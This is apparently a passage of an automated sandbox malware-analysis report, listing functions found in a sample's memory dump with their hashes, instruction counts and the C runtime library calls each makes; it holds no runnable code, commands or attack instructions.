Instruction ID: 5be66b22500605c5d8282dc4a90ba1ad80b11d6960a85518d161accbce5fc2a1
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 4AC12833E2477906D764DEBE8C540AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 0266B0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: 8e68dda7e58ae8d5ae7eddcec619f07d9f71ce0eb2fa814d7fedbab13ee92522
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: 7AA1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 026630F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 0266CA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: ccaf66b128c7bcd4f9848364cfb541905e06c71ed67e3b25c72c57600f573667
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: C6C19DB5E002499FCB54CFA9C885AEEFBF1FF48200F24856AD959E7301E334AA458B54

Uniqueness

Uniqueness Score: -1.00%

Function 02665DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: eb0faa1f803032b30946ad2471939a8840fd183f0bd46a777f69c9832d55685e
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: 2AB183A0039FA686CBD3FF30911024BF7E0BFC525DF44194AD99986864EB3EE94E9215

Uniqueness

Uniqueness Score: -1.00%

Function 02667520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 92dbb4e24685378ebb92f14b25ac8577569db5e3ea410c36187d1285ae78760b
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: 319114739187BA06D7609EAF8C441B9B6E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 0266C760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 2c83d541290f8c480fca431497fc4d61085e74d210e71a902a2fba6dfe34d61c
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 9EB17AB5E002599FCB84CFE9C885ADEFBF0FF48210F64816AD919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0266A916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: 6589883f07e8f332d141b4ea6d20249bf3addc13df3d7a039f310e5839265e37
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: 5271D473A30B254B8314DEB98D94192F2F1EF84610B57827CCE84E7B41EB31B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 026659F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 20b0f0e8f5d4186a18cd59a977fc02a71cb1a49a3aa6b95534ac4a39164cd0fe
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: BD8137B2A047019FC328CF19D88566AF7E1FFD8210F19892DE99E83B41D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 02668E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: 0751db25e0617de3ca1397064c56856a9d37c14a03deacae6325085836cdc749
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: 67710622535B7A0AEBC3DA3D881446BF7E0BE4910AB850956DCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 0266A699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: d7f973a35abcea7054588805d555bc4bee2152871c520d2430935f66395039e7
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: 44814975A107669BD754CF6AD8C046AFBF1FB08210B518A2ADCA583B40D334F966CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 02669120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 7bd987ff2d169259cb48710d87805bf5eaad1cf93b2f91528822800a535fe1c4
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: FC61A3339046BB5BDB649E6DD8401A9F7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 02667A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 72c41e28df88f2e0f5348660371a9899406554311e5e80a0e5caee2059a3302c
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: 59617C3791262B9BD761DF59D84527AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 02667880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: 5a964657c20c7586661109c553d40f6f7cbbada665874418155da1eee82f3a2d
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: 51510D229257B945EBC3DA3D88504BEBBE0BE49106B46055BDCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 02667220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 024FB71C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089445916.00000000024FA000.00000040.00000020.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24fa000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 529c546f133f94e569fe0ba603383bbe1790e4ef97e831c7bc278f65f61da6a7
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 063169798062459FCB55CE74D891AB6BB71EFCB228F19959EC1C18B202D326A047C794

Uniqueness

Uniqueness Score: -1.00%

Function 026670E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 02667393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: 9e66ae5161716c0d3dedb563a9d3f7aedb91d99cfd7b062d8f795d9456d08218
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 253103705283459FD742EF29C484A5BF7E5FFC8258F05D919F98897221D730E9848A62

Uniqueness

Uniqueness Score: -1.00%

Function 026818D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: bfa60554161446beb1798c9251624978760e70c23e978cfc064dcbf18298fd74
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 1A112E7724104243DE18AB2DD4B46B7F3E9EBCB129B2D43FAD15A8B758D322D147D500

Uniqueness

Uniqueness Score: -1.00%

Function 0266B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: e76e4a212f2bafdc1887f89b0f1e35dcc8b8d39101753d22ff756f5d7ad6504e
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 4B113D0A8492C4BDCF424A7840E56EBFFA58E2B218F4A71DA88C45B743D01B150FE7A1

Uniqueness

Uniqueness Score: -1.00%

Function 024FA0A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089445916.00000000024FA000.00000040.00000020.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24fa000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: eebaedd5ee7a5e43d353f2aa39387d94ef09e8a6d7a9bddbbea4d3bcf41d25cb
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 6C11A5723401119FD754DF55DCC0FA673EAEB8D364B19806AEE08CB312D675E842CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02660042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: d83e78d8432137fdc3c48c014371389c76f4b0b6dffa31dd95daf26c9377ea19
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 76118272340100AFDB54DF65DC94FB673EAFB88320B198165ED08CB311D676E802C760

Uniqueness

Uniqueness Score: -1.00%

Function 0266A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 3a05ac27348044f982ec5bf48720d6628994bdb34f65f62327dde437c633029d
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: E90128768106629BD700DF3EC8C046AFBF1BB082117528B2ADC9083A41D334F662DBE4

Uniqueness

Uniqueness Score: -1.00%

Function 02686437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0268644E

Part of subcall function 02689636: __calloc_impl.LIBCMT ref: 02689645

__calloc_crt.LIBCMT ref: 02686472
_free.LIBCMT ref: 02686480
__calloc_crt.LIBCMT ref: 0268648E
_free.LIBCMT ref: 0268649E
_free.LIBCMT ref: 026864A4
__copytlocinfo_nolock.LIBCMT ref: 026864B3
__setmbcp_nolock.LIBCMT ref: 026864D4
_free.LIBCMT ref: 026864E2
___removelocaleref.LIBCMT ref: 026864E9
___freetlocinfo.LIBCMT ref: 026864F0
_free.LIBCMT ref: 026864F6

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: eee80cabfbb73e4bf5dbd62e5cc178dc01d89aac694970328f8c29fac0abffcf
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 0D21F071144201AFEB327F65DC01E1FBBEADF41760B60C32DF589596A4EB228541CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 02683F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02683F51

Part of subcall function 02685BA8: __getptd_noexit.LIBCMT ref: 02685BA8

__gmtime64_s.LIBCMT ref: 02683FEA
__gmtime64_s.LIBCMT ref: 02684020
__gmtime64_s.LIBCMT ref: 0268403D
__allrem.LIBCMT ref: 02684093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026840AF
__allrem.LIBCMT ref: 026840C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026840E4
__allrem.LIBCMT ref: 026840FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02684119
__invoke_watson.LIBCMT ref: 0268418A

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 9e5a6c4dd642c1155e8625fc6e3bd8a6b2dd83a731fe4c49111d18e0ee15d3e3
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 8E71D471A00717ABEB24BE79CC40B7AB3B9AF10764F14436AE514E7780EB74D9508BD4

Uniqueness

Uniqueness Score: -1.00%

Function 0268650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 02686547
__calloc_crt.LIBCMT ref: 02686598
__lock.LIBCMT ref: 026865AE
__copytlocinfo_nolock.LIBCMT ref: 026865BF
_wcscmp.LIBCMT ref: 026865F9
__lock.LIBCMT ref: 02686610
__updatetlocinfoEx_nolock.LIBCMT ref: 02686622
___removelocaleref.LIBCMT ref: 02686628
__updatetlocinfoEx_nolock.LIBCMT ref: 02686647

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 40c25e508765711a76dcdab57cbb9122f1219fcc75fee1b0b865456032e8f71b
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 0D413632904305AFDB00BFA4DD4179E7BFAAF44314F20462DE90466290DF759685DF5A

Uniqueness

Uniqueness Score: -1.00%

Function 026884AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 026884B1
_free.LIBCMT ref: 026884E2
_free.LIBCMT ref: 026884F5
_free.LIBCMT ref: 02688513
_free.LIBCMT ref: 02688525
_free.LIBCMT ref: 02688536
_free.LIBCMT ref: 02688541
_free.LIBCMT ref: 02688565
_free.LIBCMT ref: 02688581
_free.LIBCMT ref: 02688597
_free.LIBCMT ref: 026885BF

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: e65c52157628f474f854c99f43db630d6436bdbd1ec95c7a4d19abd68ad0b994
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: B631C572900254DFCB61BF14FC8084A77E6FB15324784876EE908573B4CBB459C9AF9A

Uniqueness

Uniqueness Score: -1.00%

Function 026AFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 026AFC1F

Part of subcall function 0269169C: std::exception::_Copy_str.LIBCMT ref: 026916B5

__CxxThrowException@8.LIBCMT ref: 026AFC34
std::exception::exception.LIBCMT ref: 026AFC4D
__CxxThrowException@8.LIBCMT ref: 026AFC62
std::regex_error::regex_error.LIBCPMT ref: 026AFC74

Part of subcall function 026AF914: std::exception::exception.LIBCMT ref: 026AF92E

__CxxThrowException@8.LIBCMT ref: 026AFC82
std::exception::exception.LIBCMT ref: 026AFC9B
__CxxThrowException@8.LIBCMT ref: 026AFCB0

Strings

leM, xrefs: 026AFCA8

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 193fcb10b8edf19070ae457b3d1cfee233868e4b24c3e7fd43d789aeeac2385f
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 7211FE79C0020DBBCF00FFA5D455CDDBB7DAA04344F5085A6AD1897640EB74A3488F98

Uniqueness

Uniqueness Score: -1.00%

Function 0266F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0266F01F

Part of subcall function 02681602: __FF_MSGBANNER.LIBCMT ref: 02681619
Part of subcall function 02681602: __NMSG_WRITE.LIBCMT ref: 02681620

_malloc.LIBCMT ref: 0266F02B
_wprintf.LIBCMT ref: 0266F03E
_free.LIBCMT ref: 0266F044
_free.LIBCMT ref: 0266F065
_malloc.LIBCMT ref: 0266F06D
_sprintf.LIBCMT ref: 0266F0C0
_wprintf.LIBCMT ref: 0266F0D2
_wprintf.LIBCMT ref: 0266F0DC
_free.LIBCMT ref: 0266F0E5

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: af703a2ae8b8497f00ca6136a964756eec668cb1c21557193c1e24b364d3131f
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 0A1136B29005903AC671B7B41C25FFF3BDD9F46702F0402ADFE8DE1180DA185A059BB6

Uniqueness

Uniqueness Score: -1.00%

Function 02671960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026719C6
__CxxThrowException@8.LIBCMT ref: 026719F1
__CxxThrowException@8.LIBCMT ref: 02671A1A
__CxxThrowException@8.LIBCMT ref: 02671A4B
_memset.LIBCMT ref: 02671A6A
__CxxThrowException@8.LIBCMT ref: 02671A90
_malloc.LIBCMT ref: 02671AA0
_memset.LIBCMT ref: 02671AAB
_sprintf.LIBCMT ref: 02671ACE

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 582146cc98751e4abc515e94c2934bef47826b4c7dbc68173e04f74b9856b648
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
